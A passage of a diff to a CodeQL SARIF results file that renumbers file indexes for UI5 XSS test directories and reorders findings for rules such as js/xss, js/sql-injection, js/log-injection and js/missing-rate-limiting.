{ - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 334 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json", "uriBaseId" : "%SRCROOT%", "index" : 335 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 336 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 337 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 338 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 339 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 340 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 341 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 342 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json", "uriBaseId" : "%SRCROOT%", "index" : 343 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 344 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 345 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json", "uriBaseId" : "%SRCROOT%", "index" : 346 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 347 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 348 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 349 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 350 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 351 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json", "uriBaseId" : "%SRCROOT%", "index" : 352 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 353 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 354 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 355 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 356 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 357 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html", "uriBaseId" : "%SRCROOT%", "index" : 358 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 359 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json", "uriBaseId" : "%SRCROOT%", "index" : 360 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 361 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 362 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js", "uriBaseId" : "%SRCROOT%", "index" : 363 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", "index" : 364 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 365 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 366 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 367 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 368 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 369 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 370 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json", "uriBaseId" : "%SRCROOT%", "index" : 371 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 372 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 373 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 374 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 375 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 376 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js", "uriBaseId" : "%SRCROOT%", "index" : 377 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 378 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/package.json", "uriBaseId" : "%SRCROOT%", "index" : 379 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 380 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 381 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 382 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 383 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 384 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/view/app.view.json", "uriBaseId" : "%SRCROOT%", "index" : 385 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 386 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/package.json", "uriBaseId" : "%SRCROOT%", "index" : 387 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 388 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js", "uriBaseId" : "%SRCROOT%", "index" : 389 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 390 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 391 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 392 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 393 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 394 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 395 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 396 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/package.json", "uriBaseId" : "%SRCROOT%", "index" : 397 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 398 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 399 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", "index" : 400 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 401 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 402 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 403 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 404 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 405 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/package.json", "uriBaseId" : "%SRCROOT%", "index" : 406 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 407 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 408 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 409 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 410 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 411 } }, { "location" : { - "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 412 } }, { "location" : { - "uri" : "javascript/heuristic-models/tests/qlpack.yml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 413 } }, { "location" : { - "uri" : "qlt.conf.json", + "uri" : "javascript/heuristic-models/tests/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 414 } }, { "location" : { - "uri" : "scripts/codeql-pack.lock.yml", + "uri" : "javascript/heuristic-models/tests/qlpack.yml", "uriBaseId" : "%SRCROOT%", "index" : 415 } }, { "location" : { - "uri" : "scripts/qlpack.yml", + "uri" : "qlt.conf.json", "uriBaseId" : "%SRCROOT%", "index" : 416 } }, { "location" : { - "uri" : "scripts/CreateTestsFromYaml.py", + "uri" : "scripts/codeql-pack.lock.yml", "uriBaseId" : "%SRCROOT%", "index" : 417 } + }, { + "location" : { + "uri" : "scripts/qlpack.yml", + "uriBaseId" : "%SRCROOT%", + "index" : 418 + } + }, { + "location" : { + "uri" : "scripts/CreateTestsFromYaml.py", + "uriBaseId" : "%SRCROOT%", + "index" : 419 + } } ], "results" : [ { "ruleId" : "js/xss", "rule" : { "id" : "js/xss", - "index" : 34, + "index" : 40, "toolComponent" : { "index" : 0 } @@ -19815,7 +19929,7 @@ "ruleId" : "js/xss", "rule" : { "id" : "js/xss", - "index" : 34, + "index" : 40, "toolComponent" : { "index" : 0 } @@ -19922,7 +20036,7 @@ "ruleId" : "js/xss", "rule" : { "id" : "js/xss", - "index" : 34, + "index" : 40, "toolComponent" : { "index" : 0 } @@ -20083,7 +20197,7 @@ "ruleId" : "js/xss", "rule" : { "id" : "js/xss", - "index" : 34, + "index" : 40, "toolComponent" : { "index" : 0 } @@ -20240,56 +20354,6 @@ "text" : "user-provided value" } } ] - }, { - "ruleId" : "js/missing-rate-limiting", - "rule" : { - "id" : "js/missing-rate-limiting", - "index" : 68, - "toolComponent" : { - "index" : 0 - } - }, - "message" : { - "text" : "This route handler performs [a database access](1), but is not rate-limited." - }, - "locations" : [ { - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 1 - }, - "region" : { - "startLine" : 40, - "startColumn" : 25, - "endLine" : 44, - "endColumn" : 8 - } - } - } ], - "partialFingerprints" : { - "primaryLocationLineHash" : "ac6d3bdd3d52ea9b:1", - "primaryLocationStartColumnFingerprint" : "18" - }, - "relatedLocations" : [ { - "id" : 1, - "physicalLocation" : { - "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", - "uriBaseId" : "%SRCROOT%", - "index" : 1 - }, - "region" : { - "startLine" : 41, - "startColumn" : 9, - "endLine" : 43, - "endColumn" : 11 - } - }, - "message" : { - "text" : "a database access" - } - } ] }, { "ruleId" : "js/sql-injection", "rule" : { @@ -20371,19 +20435,69 @@ }, "region" : { "startLine" : 41, - "startColumn" : 20, - "endColumn" : 40 + "startColumn" : 20, + "endColumn" : 40 + } + }, + "message" : { + "text" : "user-provided value" + } + } ] + }, { + "ruleId" : "js/missing-rate-limiting", + "rule" : { + "id" : "js/missing-rate-limiting", + "index" : 79, + "toolComponent" : { + "index" : 0 + } + }, + "message" : { + "text" : "This route handler performs [a database access](1), but is not rate-limited." + }, + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 1 + }, + "region" : { + "startLine" : 40, + "startColumn" : 25, + "endLine" : 44, + "endColumn" : 8 + } + } + } ], + "partialFingerprints" : { + "primaryLocationLineHash" : "ac6d3bdd3d52ea9b:1", + "primaryLocationStartColumnFingerprint" : "18" + }, + "relatedLocations" : [ { + "id" : 1, + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js", + "uriBaseId" : "%SRCROOT%", + "index" : 1 + }, + "region" : { + "startLine" : 41, + "startColumn" : 9, + "endLine" : 43, + "endColumn" : 11 } }, "message" : { - "text" : "user-provided value" + "text" : "a database access" } } ] }, { "ruleId" : "js/log-injection", "rule" : { "id" : "js/log-injection", - "index" : 91, + "index" : 83, "toolComponent" : { "index" : 0 } @@ -20544,7 +20658,7 @@ "ruleId" : "js/log-injection", "rule" : { "id" : "js/log-injection", - "index" : 91, + "index" : 83, "toolComponent" : { "index" : 0 } @@ -20669,7 +20783,7 @@ "ruleId" : "js/log-injection", "rule" : { "id" : "js/log-injection", - "index" : 91, + "index" : 83, "toolComponent" : { "index" : 0 } @@ -20884,7 +20998,7 @@ "ruleId" : "js/log-injection", "rule" : { "id" : "js/log-injection", - "index" : 91, + "index" : 83, "toolComponent" : { "index" : 0 } @@ -21153,7 +21267,7 @@ "ruleId" : "js/log-injection", "rule" : { "id" : "js/log-injection", - "index" : 91, + "index" : 83, "toolComponent" : { "index" : 0 } @@ -21630,7 +21744,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js", "uriBaseId" : "%SRCROOT%", - "index" : 243 + "index" : 245 }, "region" : { "startLine" : 132, @@ -21652,7 +21766,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 242 + "index" : 244 }, "region" : { "startLine" : 23, @@ -21670,7 +21784,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 242 + "index" : 244 }, "region" : { "startLine" : 23, @@ -21688,7 +21802,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 242 + "index" : 244 }, "region" : { "startLine" : 27, @@ -21706,7 +21820,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js", "uriBaseId" : "%SRCROOT%", - "index" : 243 + "index" : 245 }, "region" : { "startLine" : 17, @@ -21724,7 +21838,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js", "uriBaseId" : "%SRCROOT%", - "index" : 243 + "index" : 245 }, "region" : { "startLine" : 133, @@ -21742,7 +21856,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js", "uriBaseId" : "%SRCROOT%", - "index" : 243 + "index" : 245 }, "region" : { "startLine" : 132, @@ -21764,7 +21878,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 242 + "index" : 244 }, "region" : { "startLine" : 23, @@ -21793,7 +21907,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 266 + "index" : 268 }, "region" : { "startLine" : 14, @@ -21814,7 +21928,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", - "index" : 271 + "index" : 273 }, "region" : { "startLine" : 5, @@ -21833,7 +21947,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 267 + "index" : 269 }, "region" : { "startLine" : 9, @@ -21851,7 +21965,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 266 + "index" : 268 }, "region" : { "startLine" : 7, @@ -21869,7 +21983,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 266 + "index" : 268 }, "region" : { "startLine" : 14, @@ -21890,7 +22004,7 @@ "artifactLocation" : { "uri" : 